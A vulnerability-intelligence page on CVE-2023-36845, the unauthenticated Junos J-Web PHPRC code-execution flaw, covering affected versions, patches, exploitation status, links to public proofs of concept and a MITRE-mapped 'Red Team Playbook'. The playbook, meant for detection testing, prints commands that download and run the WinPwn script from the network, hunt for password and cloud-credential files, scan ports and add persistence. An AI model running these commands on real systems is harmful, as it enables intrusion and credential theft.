CVE-2023-36845

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 17/08 Upd 21/10

Overview

This vulnerability is a PHP External Variable Modification flaw affecting the J-Web management interface component of Juniper Networks Junos OS on EX and SRX Series devices. The root cause lies in improper handling of the PHPRC environment variable, which allows an attacker to manipulate the PHP execution environment. This manipulation enables injection of arbitrary PHP code via crafted network requests to the affected web interface.

Vulnerability Description

A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to remotely execute code. Using a crafted request which sets the variable PHPRC an attacker is able to modify the PHP execution environment allowing the injection und execution of code. This issue affects Juniper Networks Junos OS on EX Series and SRX Series: * All versions prior to 20.4R3-S9; * 21.1 versions 21.1R1 and later; * 21.2 versions prior to 21.2R3-S7; * 21.3 versions prior to 21.3R3-S5; * 21.4 versions prior to 21.4R3-S5; * 22.1 versions prior to 22.1R3-S4; * 22.2 versions prior to 22.2R3-S2; * 22.3 versions prior to 22.3R2-S2, 22.3R3-S1; * 22.4 versions prior to 22.4R2-S1, 22.4R3; * 23.2 versions prior to 23.2R1-S1, 23.2R2.

Impact

An unauthenticated attacker can remotely execute arbitrary code on affected Juniper EX and SRX Series devices by exploiting this vulnerability. This enables full control over the device, including the ability to manipulate configurations, intercept or disrupt network traffic, and potentially pivot within the network. No user interaction or credentials are necessary, allowing attackers to compromise critical network infrastructure components, leading to severe operational and security consequences.

Solution

Juniper Networks has released patches addressing this vulnerability in multiple Junos OS versions, including 20.4R3-S9, 21.2R3-S7, 21.3R3-S5, 21.4R3-S5, 22.1R3-S4, 22.2R3-S2, 22.3R2-S2, 22.3R3-S1, 22.4R2-S1, 22.4R3, 23.2R1-S1, and 23.2R2. Users should upgrade affected devices to these fixed versions as detailed in Juniper's advisory JSA72300 (https://supportportal.juniper.net/JSA72300). No alternative workarounds are documented; applying the vendor-provided patches is the recommended remediation.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical vulnerability exists within the J-Web interface of Juniper Networks' Junos OS, specifically affecting the EX Series and SRX Series devices. This flaw arises from improper handling of external variables in PHP, allowing an unauthenticated attacker to manipulate the PHPRC variable through crafted requests. By altering this variable, an attacker can change the PHP execution environment, leading to the potential execution of arbitrary code on the affected devices. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a significant risk to the integrity and availability of the systems involved.

The attack vector for this vulnerability is primarily network-based, enabling remote exploitation without the need for authentication. An attacker could leverage this flaw by sending specially crafted HTTP requests to the J-Web interface, which is typically exposed to the internet or internal networks. Once the attacker successfully modifies the PHPRC variable, they can execute arbitrary PHP code, potentially leading to full system compromise. This could include unauthorized access to sensitive data, manipulation of network configurations, or even the deployment of malware within the network infrastructure. Given the widespread deployment of Juniper devices in enterprise environments, the potential for exploitation is significant.

The real-world impact of this vulnerability is profound, particularly for organizations relying on Juniper's networking solutions for critical operations. Successful exploitation could lead to severe business risks, including data breaches, service disruptions, and financial losses. The ability to execute arbitrary code remotely means that attackers could gain control over network devices, allowing them to intercept traffic, alter configurations, or launch further attacks within the network. This vulnerability not only threatens the confidentiality and integrity of organizational data but also poses risks to compliance with regulatory frameworks, potentially resulting in legal repercussions and reputational damage.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular vulnerability assessments and penetration testing should be conducted to identify any instances of the flaw within their networks. Network monitoring tools can also be employed to detect unusual traffic patterns or unauthorized access attempts targeting the J-Web interface. Additionally, organizations should prioritize updating affected devices to the latest firmware versions that address this vulnerability. Implementing strict access controls, such as limiting external access to the J-Web interface and employing strong authentication mechanisms, can further reduce the risk of exploitation.

In conclusion, the PHP External Variable Modification vulnerability in Junos OS represents a significant threat to the security of network infrastructures utilizing Juniper devices. Its potential for remote code execution by unauthenticated attackers necessitates immediate attention from organizations. By understanding the technical details, potential attack vectors, and real-world implications, cybersecurity professionals can better prepare and defend against this critical vulnerability. Proactive measures, including timely updates and robust security practices, are essential to safeguarding against the risks posed by this and similar vulnerabilities in the future.




CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2023-36845, evidenced by a recent emergence of multiple new proof-of-concept exploits circulating publicly. Our telemetry indicates that adversaries are increasingly leveraging automated tools designed to identify and exploit vulnerable Juniper Networks Junos OS devices, specifically on EX and SRX Series platforms. Although the EPSS score remains high and stable, the sudden uptick in exploitation activity signals a shift from theoretical risk to active targeting in the wild. This development significantly elevates the threat landscape, as unauthenticated remote code execution vulnerabilities like this one can be rapidly weaponized to compromise critical network infrastructure. Defenders must recognize that the window for exploitation is narrowing, with attackers now equipped with accessible, reliable exploit code that lowers the barrier to entry for less sophisticated threat actors. Consequently, the risk level associated with CVE-2023-36845 should be considered heightened, reflecting an increased likelihood of successful intrusions and potential downstream impacts on network confidentiality, integrity, and availability.



Update 2 — July 03, 2026

CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2023-36845, with our telemetry indicating a notable surge in exploit attempts targeting Juniper Networks Junos OS on EX and SRX Series devices. This increase coincides with the emergence of several new proof-of-concept exploits and automation scripts publicly available on widely accessed platforms, significantly lowering the technical barrier for adversaries to conduct remote code execution attacks. Although the EPSS score remains stable, the expanded availability of reliable exploit tools suggests a growing attacker interest and potential for opportunistic exploitation. This development elevates the threat landscape by increasing the likelihood of successful intrusions, particularly from less sophisticated threat actors who can now leverage these resources. Consequently, the risk posture for CVE-2023-36845 should be reassessed as heightened, reflecting an increased probability of compromise and the attendant risks to network confidentiality, integrity, and availability.

Affected Products (93)

Vendor Product Version CPE
juniper Juniper Junos All cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*
juniper Juniper Junos 20.4 cpe:2.3:o:juniper:junos:20.4:-:*:*:*:*:*:*
juniper Juniper Junos 20.4 cpe:2.3:o:juniper:junos:20.4:r1:*:*:*:*:*:*
juniper Juniper Junos 20.4 cpe:2.3:o:juniper:junos:20.4:r1-s1:*:*:*:*:*:*
juniper Juniper Junos 20.4 cpe:2.3:o:juniper:junos:20.4:r2:*:*:*:*:*:*
juniper Juniper Junos 20.4 cpe:2.3:o:juniper:junos:20.4:r2-s1:*:*:*:*:*:*
juniper Juniper Junos 20.4 cpe:2.3:o:juniper:junos:20.4:r2-s2:*:*:*:*:*:*
juniper Juniper Junos 20.4 cpe:2.3:o:juniper:junos:20.4:r3:*:*:*:*:*:*
juniper Juniper Junos 20.4 cpe:2.3:o:juniper:junos:20.4:r3-s1:*:*:*:*:*:*
juniper Juniper Junos 20.4 cpe:2.3:o:juniper:junos:20.4:r3-s2:*:*:*:*:*:*
juniper Juniper Junos 20.4 cpe:2.3:o:juniper:junos:20.4:r3-s3:*:*:*:*:*:*
juniper Juniper Junos 20.4 cpe:2.3:o:juniper:junos:20.4:r3-s4:*:*:*:*:*:*
juniper Juniper Junos 20.4 cpe:2.3:o:juniper:junos:20.4:r3-s5:*:*:*:*:*:*
juniper Juniper Junos 20.4 cpe:2.3:o:juniper:junos:20.4:r3-s6:*:*:*:*:*:*
juniper Juniper Junos 20.4 cpe:2.3:o:juniper:junos:20.4:r3-s7:*:*:*:*:*:*
juniper Juniper Junos 20.4 cpe:2.3:o:juniper:junos:20.4:r3-s8:*:*:*:*:*:*
juniper Juniper Junos 21.1 cpe:2.3:o:juniper:junos:21.1:r1:*:*:*:*:*:*
juniper Juniper Junos 21.1 cpe:2.3:o:juniper:junos:21.1:r1-s1:*:*:*:*:*:*
juniper Juniper Junos 21.1 cpe:2.3:o:juniper:junos:21.1:r2:*:*:*:*:*:*
juniper Juniper Junos 21.1 cpe:2.3:o:juniper:junos:21.1:r2-s1:*:*:*:*:*:*
+73 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Junos OS PHPRC Environment Variable Manipulation RCE
exploits/freebsd/http/junos_phprc_auto_prepend_file
Jacob Baines, Ron Bowes, jheysel-r7 +1 Unknown - View

GitHub PoCs (19)

Repository Author Stars Forks Date Link
vulncheck-oss/cve-2023-36845-scanner
A go-exploit to scan for Juniper firewalls vulnerable to CVE-2023-36845
vulncheck-oss 62 6 2023-09-16 View
kljunowsky/CVE-2023-36845
Juniper Firewalls CVE-2023-36845 - RCE
kljunowsky 55 13 2023-09-26 View
Asbawy/Automation-for-Juniper-cve-2023-36845
Simple Automation script for juniper cve-2023-36845
Asbawy 19 7 2024-01-29 View
zaenhaxor/CVE-2023-36845
CVE-2023-36845 - Juniper Firewall Remote code execution (RCE)
zaenhaxor 4 3 2023-09-29 View
ak1t4/CVE-2023-36845
CVES
ak1t4 5 1 2024-02-13 View
cyberh3als/CVE-2023-36845-POC
CVE-2023-36845 PoC script automates the PoC for CVE-2023-36845 targeting Juniper Networks Junos OS's J-Web component on ...
cyberh3als 4 0 2023-10-02 View
cyb3rzest/Juniper-Bug-Automation-CVE-2023-36845
cyb3rzest 0 2 2024-02-01 View
e11i0t4lders0n/CVE-2023-36845
CVE-2023-36845 – Unauthenticated Juniper Remote Code Execution Vulnerability Scanner
e11i0t4lders0n 1 1 2024-02-18 View
0xNehru/CVE-2023-36845-Juniper-Vulnerability
This Python script automates the Proof of Concept (PoC) for CVE-2023-36845, a vulnerability impacting Juniper Networks J...
0xNehru 1 0 2024-02-14 View
jahithoque/Juniper-CVE-2023-36845-Mass-Hunting
Juniper RCE (Remote Code Execution) CVE-2023-36845 is a vulnerability that has been identified within Juniper's software...
jahithoque 1 0 2024-01-30 View
halencarjunior/CVE-2023-36845
halencarjunior 1 0 2023-09-27 View
simrotion13/CVE-2023-36845
simrotion13 1 0 2023-10-01 View
Vignesh2712/Automation-for-Juniper-cve-2023-36845
Vignesh2712 0 0 2024-05-04 View
toanln-cov/CVE-2023-36845
PoC CVE-2023-36845 on Juniper Device
toanln-cov 0 0 2023-09-27 View
iveresk/CVE-2023-36845-6-
CVE-2023-36845 и CVE-2023-36846 Juniper Junos OS J-Web RCE
iveresk 0 0 2024-02-13 View
ifconfig-me/CVE-2023-36845
A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series all...
ifconfig-me 0 0 2024-02-17 View
kopfjager007/CVE-2023-36845
Juniper JunOS J-Web PHP external variable modification (CVE-2023-36845) exploit.
kopfjager007 0 0 2025-11-24 View
P4x1s/ansible-cve-2023-36845
Ansible Playbook for CVE-2023-36845(Juniper Networks Junos OS 远程代码执行漏洞)
P4x1s 0 0 2023-11-15 View
CharonDefalt/Juniper-exploit-CVE-2023-36845
CharonDefalt 0 0 2024-02-03 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

8 events
2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2023-11-13
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2023-09-16
PoC Published (19 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2023-08-17
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
77% command_injection
Remote Code Execution
33% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-77 Manipulating User-Controlled Variables
35%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

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References (5)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2023-36845
supportportal.juniper.net
GitHub CVE vendor-advisory mitigation
https://supportportal.juniper.net/JSA72300
packetstormsecurity.com
GitHub CVE
http://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html
packetstormsecurity.com
GitHub CVE
http://packetstormsecurity.com/files/176969/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-36845